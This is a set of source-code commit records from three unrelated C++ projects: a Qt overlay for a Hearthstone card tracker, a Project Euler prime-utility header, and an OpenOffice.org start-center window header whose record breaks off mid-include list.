painter.setBrush( QBrush( QColor( 70, 70, 70, 175 ) ) );\n painter.drawRoundedRect( rect, 10, 10 );\n\n \/\/ Title\n y += Padding();\n painter.setPen( QPen( Qt::white) );\n painter.setFont( mTitleFont );\n painter.drawText( x, y, Width(), TitleHeight(), Qt::AlignCenter | Qt::AlignVCenter | Qt::TextDontClip, mTitle );\n y += TitleHeight() + RowSpacing();\n\n \/\/ Lines\n painter.setPen( QPen( Qt::white) );\n painter.setFont( mRowFont );\n for( const QVariantMap& it : mHistory ) {\n int mx = x + Padding();\n DrawMana( painter, mx, y, RowHeight(), RowHeight(), it[\"mana\"].toInt() );\n int cx = mx + RowHeight() + 5;\n DrawCardLine( painter, cx, y, RowWidth() - cx, RowHeight(), it[\"name\"].toString(), it[\"count\"].toInt() );\n y += RowHeight();\n y += RowSpacing();\n }\n\n painter.restore();\n }\n\n};\n\nOverlay::Overlay( QWidget *parent )\n : QMainWindow( parent ), mUI( new Ui::Overlay ), mShowPlayerHistory( PLAYER_UNKNOWN )\n{\n mUI->setupUi( this );\n setWindowFlags( Qt::NoDropShadowWindowHint | Qt::FramelessWindowHint | Qt::WindowStaysOnTopHint | Qt::WindowTransparentForInput );\n\n#ifdef Q_OS_WIN\n setWindowFlags( windowFlags() | Qt::Tool );\n#else\n setWindowFlags( windowFlags() | Qt::Window );\n#endif\n\n setAttribute( Qt::WA_TranslucentBackground );\n setAttribute( Qt::WA_ShowWithoutActivating );\n\n connect( Hearthstone::Instance(), &Hearthstone::GameWindowChanged, this, &Overlay::HandleGameWindowChanged );\n connect( Hearthstone::Instance(), &Hearthstone::GameStarted, this, &Overlay::HandleGameStarted );\n connect( Hearthstone::Instance(), &Hearthstone::GameStopped, this, &Overlay::HandleGameStopped );\n connect( Hearthstone::Instance(), &Hearthstone::FocusChanged, this, &Overlay::HandleGameFocusChanged );\n\n connect( &mCheckForHoverTimer, &QTimer::timeout, this, &Overlay::CheckForHover );\n\n connect( Settings::Instance(), &Settings::OverlayEnabledChanged, this, &Overlay::HandleOverlaySettingChanged );\n\n hide();\n\n#ifdef Q_OS_MAC\n WId windowObject = this->winId();\n objc_object* nsviewObject = reinterpret_cast<objc_object*>(windowObject);\n objc_object* nsWindowObject = objc_msgSend( nsviewObject, sel_registerName(\"window\") );\n int NSWindowCollectionBehaviorCanJoinAllSpaces = 1 << 0;\n objc_msgSend( nsWindowObject, sel_registerName(\"setCollectionBehavior:\"), NSWindowCollectionBehaviorCanJoinAllSpaces );\n\n \/\/ Ignore mouse events on Mac\n \/\/ Qt::WindowTransparentForInput bug\n \/\/ https:\/\/bugreports.qt.io\/browse\/QTBUG-45498\n objc_msgSend( nsWindowObject, sel_registerName(\"setIgnoresMouseEvents:\"), 1 );\n#endif\n}\n\nOverlay::~Overlay() {\n delete mUI;\n}\n\nvoid Overlay::CheckForHover() {\n QPoint mouseLoc = mapFromGlobal( QCursor::pos() );\n\n Player showPlayerHistory = PLAYER_UNKNOWN;\n\n if( mPlayerDeckRect.contains( mouseLoc ) ) {\n showPlayerHistory = PLAYER_SELF;\n } else if( mOpponentDeckRect.contains( mouseLoc ) ) {\n showPlayerHistory = PLAYER_OPPONENT;\n }\n\n if( mShowPlayerHistory != showPlayerHistory ) {\n mShowPlayerHistory = showPlayerHistory;\n update();\n }\n}\n\nvoid PaintHistoryInScreen( QPainter& painter, const OverlayHistoryWindow& wnd, const QPoint& pos ) {\n int padding = 10;\n\n QRect rect( pos.x() + 20, pos.y(), wnd.Width(), wnd.Height() );\n rect.translate( -qMax( rect.right() - painter.device()->width() + padding, 0 ), -qMax( rect.bottom() - painter.device()->height() + padding, 0 ) ); \/\/ fit to window\n wnd.Paint( painter, rect.x(), rect.y() );\n}\n\nvoid Overlay::paintEvent( QPaintEvent* ) {\n QString title;\n QRect rect;\n OverlayHistoryList *history = NULL;\n\n if( mShowPlayerHistory == PLAYER_SELF && mPlayerHistory.count() > 0 ) {\n title = \"Cards drawn\";\n history = &mPlayerHistory;\n rect = mPlayerDeckRect;\n } else if( mShowPlayerHistory == PLAYER_OPPONENT && mOpponentHistory.count() > 0 ) {\n title = \"Cards played by opponent\";\n history = &mOpponentHistory;\n rect = mOpponentDeckRect;\n }\n\n QPainter painter( this );\n painter.setRenderHint( QPainter::Antialiasing );\n\n#ifdef Q_OS_WIN\n float rowFontSize = 9;\n float titleFontSize = 9;\n#else\n float rowFontSize = 12;\n float titleFontSize = 12;\n#endif\n\n int spacing = 8;\n int overlayWidth = 200;\n\n if( history ) {\n OverlayHistoryWindow wnd( title, *history, overlayWidth, spacing, spacing, titleFontSize, rowFontSize );\n QPoint pos = rect.center() + QPoint( rect.width() \/ 2 + 10, -wnd.Height() \/ 2 );\n PaintHistoryInScreen( painter, wnd, pos );\n }\n}\n\nvoid Overlay::HandleGameWindowChanged( int x, int y, int w, int h ) {\n \/\/ Order is important\n \/\/ Otherwise starting fullscreen on windows\n \/\/ will not show the overlay unless the FS mode is toggled\n setFixedSize( w, h );\n move( x, y );\n\n int minWidth = h * 4 \/ 3;\n mPlayerDeckRect = QRect( w \/ 2 + 0.440 * minWidth, h * 0.510, 0.05 * minWidth, h * 0.170 );\n mOpponentDeckRect = mPlayerDeckRect.translated( -0.005 * minWidth, -0.275 * h );\n\n Update();\n}\n\nvoid Overlay::Update() {\n bool showable = false;\n\n if( Hearthstone::Instance()->GameRunning() && Settings::Instance()->OverlayEnabled() ) {\n showable = true;\n if( !mCardDB.Loaded() ) {\n mCardDB.Load();\n }\n } else {\n if( mCardDB.Loaded() ) {\n mCardDB.Unload();\n }\n }\n\n if( showable && Hearthstone::Instance()->HasFocus() ) {\n hide(); \/\/ Minimize\/Restore on Windows requires a hide() first\n show();\n#ifdef Q_OS_WIN\n setAttribute( Qt::WA_QuitOnClose ); \/\/ otherwise taskkill \/IM Track-o-Bot.exe does not work (http:\/\/www.qtcentre.org\/threads\/11713-Qt-Tool?p=62466#post62466)\n#endif\n } else {\n hide();\n }\n\n update();\n}\n\nvoid Overlay::HandleGameStarted() {\n mCheckForHoverTimer.start( CHECK_FOR_OVERLAY_HOVER_INTERVAL_MS );\n Update();\n}\n\nvoid Overlay::HandleGameStopped() {\n mCheckForHoverTimer.stop();\n Update();\n}\n\nvoid Overlay::UpdateHistoryFor( Player player, const ::CardHistoryList& list ) {\n QMap< QString, QVariantMap > entries;\n\n for( const CardHistoryItem& it : list ) {\n const QString& cardId = it.cardId;\n\n if( cardId.isEmpty() ) {\n continue;\n }\n\n if( !mCardDB.Contains( cardId ) ) {\n DBG( \"Card %s not found\", qt2cstr( cardId ) );\n continue;\n }\n\n if( mCardDB.Type( cardId ) == \"HERO_POWER\" ) {\n continue;\n }\n\n if( it.player != player ) {\n continue;\n }\n\n QVariantMap& entry = entries[ cardId ];\n entry[ \"count\" ] = entry.value( \"count\", 0 ).toInt() + 1;\n entry[ \"mana\" ] = mCardDB.Cost( cardId );\n entry[ \"name\" ] = mCardDB.Name( cardId );\n }\n\n OverlayHistoryList* ref;\n if( player == PLAYER_SELF ) {\n ref = &mPlayerHistory;\n } else {\n ref = &mOpponentHistory;\n }\n\n *ref = entries.values();\n\n qSort( ref->begin(), ref->end(), []( const QVariantMap& a, const QVariantMap& b ) {\n if( a[\"mana\"].toInt() == b[\"mana\"].toInt() ) {\n return a[\"name\"].toString() < b[\"name\"].toString();\n } else {\n return a[\"mana\"].toInt() < b[\"mana\"].toInt();\n }\n });\n}\n\nvoid Overlay::HandleCardsDrawnUpdate( const ::CardHistoryList& cardsDrawn ) {\n UpdateHistoryFor( PLAYER_OPPONENT, cardsDrawn );\n UpdateHistoryFor( PLAYER_SELF, cardsDrawn );\n Update();\n}\n\nvoid Overlay::HandleOverlaySettingChanged( bool enabled ) {\n UNUSED_ARG( enabled );\n\n Update();\n}\n\nvoid Overlay::HandleGameFocusChanged( bool focus ) {\n DBG( \"HandleFocusChanged %d\", focus );\n Update();\n}\n<commit_msg>Adapting overlay text for small displays. 2x is now printed in front of the card text.<commit_after>#include \"Overlay.h\"\n#include \"ui_Overlay.h\"\n\n#include \"..\/Hearthstone.h\"\n#include \"..\/Settings.h\"\n\n#ifdef Q_OS_MAC\n#include <objc\/objc-runtime.h>\n#endif\n\n#include <cassert>\n\n#include <QJsonArray>\n#include <QJsonObject>\n#include <QJsonDocument>\n#include <QFile>\n#include <QMouseEvent>\n\n#define CHECK_FOR_OVERLAY_HOVER_INTERVAL_MS 100\n\nclass OverlayHistoryWindow {\nprivate:\n QString mTitle;\n OverlayHistoryList mHistory;\n\n QFont mRowFont;\n QFont mTitleFont;\n\n int mWidth;\n\n int mPadding;\n int mRowSpacing;\n\n\n int TitleHeight() const {\n QFontMetrics titleMetrics( mTitleFont );\n return titleMetrics.ascent() - titleMetrics.descent();\n }\n\n int Padding() const {\n return mPadding;\n }\n\n int RowSpacing() const {\n return mRowSpacing;\n }\n\n int RowHeight() const {\n QFontMetrics rowMetrics( mRowFont );\n return rowMetrics.ascent() - rowMetrics.descent();\n }\n\n int RowWidth() const {\n return Width() - Padding() * 2;\n }\n\n void DrawMana( QPainter& painter, int x, int y, int width, int height, int mana ) const {\n \/\/ Draw mana\n QPen origPen = painter.pen();\n QPen pen( QColor( 0, 52, 113 ) );\n pen.setCosmetic( true );\n pen.setWidth( 1 );\n painter.setPen( pen );\n\n QBrush brush( QColor( 40, 119, 238 ) );\n painter.setBrush( brush );\n\n QTransform transform;\n painter.translate( x + width * 0.5, y + height * 0.5 );\n painter.scale( width * 0.8, height * 0.8 );\n\n static const QPointF points[5] = {\n QPointF( 0.0, -1.0 ),\n QPointF( 1.0, -0.2 ),\n QPointF( 0.6, 1.0 ),\n QPointF( -0.6, 1.0 ),\n QPointF( -1.0, -0.2 ),\n };\n painter.drawConvexPolygon( points, 5 );\n painter.resetTransform();\n painter.setPen( origPen );\n\n painter.drawText( x, y, width, height, Qt::AlignCenter | Qt::AlignVCenter, QString::number( mana ) );\n }\n\n void DrawCardLine( QPainter& painter, int x, int y, int width, int height, const QString& name, int count ) const {\n painter.save();\n\tQString text = name;\n\n\tif( count > 1 ) {\n text.prepend(QString( \"%1x \" ).arg( count ));\n QFont font = painter.font();\n font.setBold( true );\n painter.setFont( font );\n }\n\n painter.drawText( x, y, width, height, Qt::AlignLeft | Qt::AlignVCenter | Qt::TextDontClip, text );\n painter.restore();\n }\n\npublic:\n OverlayHistoryWindow( const QString& title, const OverlayHistoryList& history, int width, int padding, int rowSpacing, float titleFontSize, float rowFontSize )\n : mTitle( title ), mHistory( history ), mWidth( width ), mPadding( padding ), mRowSpacing( rowSpacing )\n {\n mRowFont.setPointSize( titleFontSize );\n mTitleFont.setPointSize( rowFontSize );\n mTitleFont.setUnderline( true );\n mTitleFont.setBold( true );\n }\n\n int Width() const {\n return mWidth;\n }\n\n int Height() const {\n return ( mHistory.count() - 1 ) * RowSpacing() + \/\/ Spacing between items\n mHistory.count() * RowHeight() + \/\/ Height per item\n TitleHeight() + RowSpacing() + \/\/ Title\n Padding() * 2; \/\/ Overall padding\n }\n\n void Paint( QPainter& painter, int x, int y ) const {\n painter.save();\n\n QRect rect( x, y, Width(), Height() );\n painter.setClipRect( rect );\n\n \/\/ BG\n QPen pen = QPen( QColor( 160, 160, 160 ) );\n pen.setWidth( 3 );\n painter.setPen( pen );\n painter.setBrush( QBrush( QColor( 70, 70, 70, 175 ) ) );\n painter.drawRoundedRect( rect, 10, 10 );\n\n \/\/ Title\n y += Padding();\n painter.setPen( QPen( Qt::white) );\n painter.setFont( mTitleFont );\n painter.drawText( x, y, Width(), TitleHeight(), Qt::AlignCenter | Qt::AlignVCenter | Qt::TextDontClip, mTitle );\n y += TitleHeight() + RowSpacing();\n\n \/\/ Lines\n painter.setPen( QPen( Qt::white) );\n painter.setFont( mRowFont );\n for( const QVariantMap& it : mHistory ) {\n int mx = x + Padding();\n DrawMana( painter, mx, y, RowHeight(), RowHeight(), it[\"mana\"].toInt() );\n int cx = mx + RowHeight() + 5;\n DrawCardLine( painter, cx, y, RowWidth() - cx, RowHeight(), it[\"name\"].toString(), it[\"count\"].toInt() );\n y += RowHeight();\n y += RowSpacing();\n }\n\n painter.restore();\n }\n\n};\n\nOverlay::Overlay( QWidget *parent )\n : QMainWindow( parent ), mUI( new Ui::Overlay ), mShowPlayerHistory( PLAYER_UNKNOWN )\n{\n mUI->setupUi( this );\n setWindowFlags( Qt::NoDropShadowWindowHint | Qt::FramelessWindowHint | Qt::WindowStaysOnTopHint | Qt::WindowTransparentForInput );\n\n#ifdef Q_OS_WIN\n setWindowFlags( windowFlags() | Qt::Tool );\n#else\n setWindowFlags( windowFlags() | Qt::Window );\n#endif\n\n setAttribute( Qt::WA_TranslucentBackground );\n setAttribute( Qt::WA_ShowWithoutActivating );\n\n connect( Hearthstone::Instance(), &Hearthstone::GameWindowChanged, this, &Overlay::HandleGameWindowChanged );\n connect( Hearthstone::Instance(), &Hearthstone::GameStarted, this, &Overlay::HandleGameStarted );\n connect( Hearthstone::Instance(), &Hearthstone::GameStopped, this, &Overlay::HandleGameStopped );\n connect( Hearthstone::Instance(), &Hearthstone::FocusChanged, this, &Overlay::HandleGameFocusChanged );\n\n connect( &mCheckForHoverTimer, &QTimer::timeout, this, &Overlay::CheckForHover );\n\n connect( Settings::Instance(), &Settings::OverlayEnabledChanged, this, &Overlay::HandleOverlaySettingChanged );\n\n hide();\n\n#ifdef Q_OS_MAC\n WId windowObject = this->winId();\n objc_object* nsviewObject = reinterpret_cast<objc_object*>(windowObject);\n objc_object* nsWindowObject = objc_msgSend( nsviewObject, sel_registerName(\"window\") );\n int NSWindowCollectionBehaviorCanJoinAllSpaces = 1 << 0;\n objc_msgSend( nsWindowObject, sel_registerName(\"setCollectionBehavior:\"), NSWindowCollectionBehaviorCanJoinAllSpaces );\n\n \/\/ Ignore mouse events on Mac\n \/\/ Qt::WindowTransparentForInput bug\n \/\/ https:\/\/bugreports.qt.io\/browse\/QTBUG-45498\n objc_msgSend( nsWindowObject, sel_registerName(\"setIgnoresMouseEvents:\"), 1 );\n#endif\n}\n\nOverlay::~Overlay() {\n delete mUI;\n}\n\nvoid Overlay::CheckForHover() {\n QPoint mouseLoc = mapFromGlobal( QCursor::pos() );\n\n Player showPlayerHistory = PLAYER_UNKNOWN;\n\n if( mPlayerDeckRect.contains( mouseLoc ) ) {\n showPlayerHistory = PLAYER_SELF;\n } else if( mOpponentDeckRect.contains( mouseLoc ) ) {\n showPlayerHistory = PLAYER_OPPONENT;\n }\n\n if( mShowPlayerHistory != showPlayerHistory ) {\n mShowPlayerHistory = showPlayerHistory;\n update();\n }\n}\n\nvoid PaintHistoryInScreen( QPainter& painter, const OverlayHistoryWindow& wnd, const QPoint& pos ) {\n int padding = 10;\n\n QRect rect( pos.x() + 20, pos.y(), wnd.Width(), wnd.Height() );\n rect.translate( -qMax( rect.right() - painter.device()->width() + padding, 0 ), -qMax( rect.bottom() - painter.device()->height() + padding, 0 ) ); \/\/ fit to window\n wnd.Paint( painter, rect.x(), rect.y() );\n}\n\nvoid Overlay::paintEvent( QPaintEvent* ) {\n QString title;\n QRect rect;\n OverlayHistoryList *history = NULL;\n\n if( mShowPlayerHistory == PLAYER_SELF && mPlayerHistory.count() > 0 ) {\n title = \"Cards drawn\";\n history = &mPlayerHistory;\n rect = mPlayerDeckRect;\n } else if( mShowPlayerHistory == PLAYER_OPPONENT && mOpponentHistory.count() > 0 ) {\n title = \"Opponent played\";\n history = &mOpponentHistory;\n rect = mOpponentDeckRect;\n }\n\n QPainter painter( this );\n painter.setRenderHint( QPainter::Antialiasing );\n\n#ifdef Q_OS_WIN\n float rowFontSize = 9;\n float titleFontSize = 9;\n#else\n float rowFontSize = 12;\n float titleFontSize = 12;\n#endif\n\n int spacing = 8;\n int overlayWidth = 200;\n\n if( history ) {\n OverlayHistoryWindow wnd( title, *history, overlayWidth, spacing, spacing, titleFontSize, rowFontSize );\n QPoint pos = rect.center() + QPoint( rect.width() \/ 2 + 10, -wnd.Height() \/ 2 );\n PaintHistoryInScreen( painter, wnd, pos );\n }\n}\n\nvoid Overlay::HandleGameWindowChanged( int x, int y, int w, int h ) {\n \/\/ Order is important\n \/\/ Otherwise starting fullscreen on windows\n \/\/ will not show the overlay unless the FS mode is toggled\n setFixedSize( w, h );\n move( x, y );\n\n int minWidth = h * 4 \/ 3;\n mPlayerDeckRect = QRect( w \/ 2 + 0.440 * minWidth, h * 0.510, 0.05 * minWidth, h * 0.170 );\n mOpponentDeckRect = mPlayerDeckRect.translated( -0.005 * minWidth, -0.275 * h );\n\n Update();\n}\n\nvoid Overlay::Update() {\n bool showable = false;\n\n if( Hearthstone::Instance()->GameRunning() && Settings::Instance()->OverlayEnabled() ) {\n showable = true;\n if( !mCardDB.Loaded() ) {\n mCardDB.Load();\n }\n } else {\n if( mCardDB.Loaded() ) {\n mCardDB.Unload();\n }\n }\n\n if( showable && Hearthstone::Instance()->HasFocus() ) {\n hide(); \/\/ Minimize\/Restore on Windows requires a hide() first\n show();\n#ifdef Q_OS_WIN\n setAttribute( Qt::WA_QuitOnClose ); \/\/ otherwise taskkill \/IM Track-o-Bot.exe does not work (http:\/\/www.qtcentre.org\/threads\/11713-Qt-Tool?p=62466#post62466)\n#endif\n } else {\n hide();\n }\n\n update();\n}\n\nvoid Overlay::HandleGameStarted() {\n mCheckForHoverTimer.start( CHECK_FOR_OVERLAY_HOVER_INTERVAL_MS );\n Update();\n}\n\nvoid Overlay::HandleGameStopped() {\n mCheckForHoverTimer.stop();\n Update();\n}\n\nvoid Overlay::UpdateHistoryFor( Player player, const ::CardHistoryList& list ) {\n QMap< QString, QVariantMap > entries;\n\n for( const CardHistoryItem& it : list ) {\n const QString& cardId = it.cardId;\n\n if( cardId.isEmpty() ) {\n continue;\n }\n\n if( !mCardDB.Contains( cardId ) ) {\n DBG( \"Card %s not found\", qt2cstr( cardId ) );\n continue;\n }\n\n if( mCardDB.Type( cardId ) == \"HERO_POWER\" ) {\n continue;\n }\n\n if( it.player != player ) {\n continue;\n }\n\n QVariantMap& entry = entries[ cardId ];\n entry[ \"count\" ] = entry.value( \"count\", 0 ).toInt() + 1;\n entry[ \"mana\" ] = mCardDB.Cost( cardId );\n entry[ \"name\" ] = mCardDB.Name( cardId );\n }\n\n OverlayHistoryList* ref;\n if( player == PLAYER_SELF ) {\n ref = &mPlayerHistory;\n } else {\n ref = &mOpponentHistory;\n }\n\n *ref = entries.values();\n\n qSort( ref->begin(), ref->end(), []( const QVariantMap& a, const QVariantMap& b ) {\n if( a[\"mana\"].toInt() == b[\"mana\"].toInt() ) {\n return a[\"name\"].toString() < b[\"name\"].toString();\n } else {\n return a[\"mana\"].toInt() < b[\"mana\"].toInt();\n }\n });\n}\n\nvoid Overlay::HandleCardsDrawnUpdate( const ::CardHistoryList& cardsDrawn ) {\n UpdateHistoryFor( PLAYER_OPPONENT, cardsDrawn );\n UpdateHistoryFor( PLAYER_SELF, cardsDrawn );\n Update();\n}\n\nvoid Overlay::HandleOverlaySettingChanged( bool enabled ) {\n UNUSED_ARG( enabled );\n\n Update();\n}\n\nvoid Overlay::HandleGameFocusChanged( bool focus ) {\n DBG( \"HandleFocusChanged %d\", focus );\n Update();\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <unordered_map>\n#include <cmath>\n\nnamespace euler::primes {\n\n\/**\n * Return a N+1 size array of booleans such that\n * mask[a] is true iff a is a composite number.\n *\/\ntemplate<int N>\nconstexpr std::array<bool, N + 1> composite_mask() {\n\n static_assert(N >= 0, \"N must be non-negative.\");\n\n std::array<bool, N + 1> mask = {true, true};\n\n for (int i = 2; i*i <= N; ++i)\n if (!mask[i])\n for (int j = i * i; j <= N; j += i)\n mask[j] = true;\n return mask;\n}\ntemplate<> constexpr std::array<bool, 1> composite_mask<0>() { return {true}; };\ntemplate<> constexpr std::array<bool, 2> composite_mask<1>() { return {true, true}; };\n\n\/**\n * Fill a supplied map with (p : a) pairs where a is\n * the largest power of p which divides n.\n *\/\ntemplate<typename Integer = int,\n typename Power = int,\n typename Maptype = std::unordered_map<Integer, Power>>\nvoid prime_map(Integer n, Maptype &map) {\n\n Integer d = 2;\n\n while (d * d <= n) {\n while (n % d == 0) {\n if (map.count(d)) {\n map[d] += 1;\n } else {\n map.emplace(d, 1);\n }\n n \/= d;\n }\n ++d;\n }\n\n if (n > 1)\n map.emplace(n, 1);\n};\n\n\n\/**\n * Return the number of divisors for n^(power).\n *\/\ntemplate<typename Integer = int, typename Power = int>\nInteger number_of_divisors(Integer n, Power power = 1) {\n std::unordered_map<Integer, Integer> primes;\n prime_map(n, primes);\n Integer count = 1;\n for (auto [p, a] : primes) {\n count *= power * a + 1;\n }\n return count;\n}\n}\n<commit_msg>Add missing includes.<commit_after>#pragma once\n\n#include <cmath>\n#include <array>\n#include <unordered_map>\n\nnamespace euler::primes {\n\n\/**\n * Return a N+1 size array of booleans such that\n * mask[a] is true iff a is a composite number.\n *\/\ntemplate<int N>\nconstexpr std::array<bool, N + 1> composite_mask() {\n\n static_assert(N >= 0, \"N must be non-negative.\");\n\n std::array<bool, N + 1> mask = {true, true};\n\n for (int i = 2; i*i <= N; ++i)\n if (!mask[i])\n for (int j = i * i; j <= N; j += i)\n mask[j] = true;\n return mask;\n}\ntemplate<> constexpr std::array<bool, 1> composite_mask<0>() { return {true}; };\ntemplate<> constexpr std::array<bool, 2> composite_mask<1>() { return {true, true}; };\n\n\/**\n * Fill a supplied map with (p : a) pairs where a is\n * the largest power of p which divides n.\n *\/\ntemplate<typename Integer = int,\n typename Power = int,\n typename Maptype = std::unordered_map<Integer, Power>>\nvoid prime_map(Integer n, Maptype &map) {\n\n Integer d = 2;\n\n while (d * d <= n) {\n while (n % d == 0) {\n if (map.count(d)) {\n map[d] += 1;\n } else {\n map.emplace(d, 1);\n }\n n \/= d;\n }\n ++d;\n }\n\n if (n > 1)\n map.emplace(n, 1);\n};\n\n\n\/**\n * Return the number of divisors for n^(power).\n *\/\ntemplate<typename Integer = int, typename Power = int>\nInteger number_of_divisors(Integer n, Power power = 1) {\n std::unordered_map<Integer, Integer> primes;\n prime_map(n, primes);\n Integer count = 1;\n for (auto [p, a] : primes) {\n count *= power * a + 1;\n }\n return count;\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: backingwindow.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2008-03-12 10:10:06 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef FRAMEWORK_BACKINGWINDOW_HXX\n#define FRAMEWORK_BACKINGWINDOW_HXX\n\n#include \"rtl\/ustring.hxx\"\n\n#include \"vcl\/button.hxx\"\n#include \"vcl\/fixed.hxx\"\n#include \"vcl\/bitmapex.hxx\"\n#include \"vcl\/toolbox.hxx\"\n\n#include \"svtools\/moduleoptions.hxx\"\n\n#include \"com\/sun\/star\/frame\/XDispatchProvider.hpp\"\n#include \"com\/sun\/star\/frame\/XDesktop.hpp\"\n#include \"com\/sun\/star\/frame\/XTerminateListener.hpp\"\n#include \"com\/sun\/star\/document\/XEventListener.hpp\"\n#include \"com\/sun\/star\/document\/XEventBroadcaster.hpp\"\n#include \"com\/sun\/star\/util\/XURLTransformer.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/XFilePicker.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/XFilePickerControlAccess.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/XFilterManager.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/XFolderPicker.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/TemplateDescription.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/ExecutableDialogResults.hpp\"\n\n#include <set>\n\n\nnamespace framework\n{\n \/\/ To get the transparent mouse-over look, the closer is actually a toolbox\n \/\/ overload DataChange to handle style changes correctly\n class DecoToolBox : public ToolBox\n {\n Size maMinSize;\n\n using Window::ImplInit;\n public:\n DecoToolBox( Window* pParent, WinBits nStyle = 0 );\n DecoToolBox( Window* pParent, const ResId& rResId );\n\n void DataChanged( const DataChangedEvent& rDCEvt );\n\n void calcMinSize();\n Size getMinSize();\n };\n\n class BackingWindow : public Window\n {\n com::sun::star::uno::Reference<com::sun::star::frame::XDesktop> mxDesktop;\n com::sun::star::uno::Reference<com::sun::star::frame::XDispatchProvider > mxDesktopDispatchProvider;\n com::sun::star::uno::Reference<com::sun::star::document::XEventBroadcaster> mxBroadcaster;\n\n FixedText maWelcome;\n Size maWelcomeSize;\n FixedText maProduct;\n Size maProductSize;\n FixedText maCreateText;\n Size maCreateSize;\n FixedText maWriterText;\n ImageButton maWriterButton;\n FixedText maCalcText;\n ImageButton maCalcButton;\n FixedText maImpressText;\n ImageButton maImpressButton;\n FixedText maDrawText;\n ImageButton maDrawButton;\n FixedText maDBText;\n ImageButton maDBButton;\n FixedText maOpenText;\n ImageButton maOpenButton;\n FixedText maTemplateText;\n ImageButton maTemplateButton;\n\n DecoToolBox maToolbox;\n\n BitmapEx maBackgroundLeft;\n BitmapEx maBackgroundMiddle;\n BitmapEx maBackgroundRight;\n\n String maWelcomeString;\n String maProductString;\n String maCreateString;\n String maOpenString;\n String maTemplateString;\n\n Font maTextFont;\n Rectangle maControlRect;\n\n long mnColumnWidth[2];\n Color maLabelTextColor;\n Color maWelcomeTextColor;\n\n Size maButtonImageSize;\n\n static const long nBtnPos = 240;\n static const int nItemId_Extensions = 1;\n static const int nItemId_Reg = 2;\n static const int nItemId_Info = 3;\n static const int nShadowTop = 32;\n static const int nShadowLeft = 35;\n static const int nShadowRight = 45;\n static const int nShadowBottom = 50;\n\n void loadImage( const ResId& i_rId, ImageButton& i_rButton );\n\n void layoutButtonAndText( const char* i_pURL, int nColumn, const std::set<rtl::OUString>& i_rURLS,\n SvtModuleOptions& i_rOpt, SvtModuleOptions::EModule i_eMod,\n ImageButton& i_rBtn, FixedText& i_rText,\n const String& i_rStr = String()\n );\n\n bool executeFileOpen();\n void dispatchURL( const rtl::OUString& i_rURL,\n const rtl::OUString& i_rTarget = rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"_default\" ) ),\n const com::sun::star::uno::Reference< com::sun::star::frame::XDispatchProvider >& i_xProv = com::sun::star::uno::Reference< com::sun::star::frame::XDispatchProvider >(),\n const com::sun::star::uno::Sequence< com::sun::star::beans::PropertyValue >& = com::sun::star::uno::Sequence< com::sun::star::beans::PropertyValue >()\n );\n\n DECL_LINK( ClickHdl, Button* );\n DECL_LINK( ToolboxHdl, void* );\n public:\n BackingWindow( Window* pParent );\n ~BackingWindow();\n\n virtual void Paint( const Rectangle& rRect );\n virtual void Resize();\n };\n\n}\n\n#endif\n<commit_msg>INTEGRATION: CWS vcl87 (1.3.2); FILE MERGED 2008\/03\/18 15:30:35 pl 1.3.2.6: #i87065# initControls only after menubar is set in attachFrame 2008\/03\/17 16:45:37 pl 1.3.2.5: #i87124# reuse menu file open implementation via dispatch 2008\/03\/17 15:59:34 pl 1.3.2.4: #i87056# accelerator handling in StartCenter 2008\/03\/17 13:00:48 pl 1.3.2.3: #i87065# lazy initControls to get menu bar accelerators 2008\/03\/15 15:34:44 pl 1.3.2.2: #i86671# create mnemonics on the fly 2008\/03\/15 14:49:15 pl 1.3.2.1: #i86929# change tab order in StartCenter<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: backingwindow.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: kz $ $Date: 2008-04-03 17:11:50 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef FRAMEWORK_BACKINGWINDOW_HXX\n#define FRAMEWORK_BACKINGWINDOW_HXX\n\n#include \"rtl\/ustring.hxx\"\n\n#include \"vcl\/button.hxx\"\n#include \"vcl\/fixed.hxx\"\n#include \"vcl\/bitmapex.hxx\"\n#include \"vcl\/toolbox.hxx\"\n\n#include \"svtools\/moduleoptions.hxx\"\n#include \"svtools\/acceleratorexecute.hxx\"\n\n#include 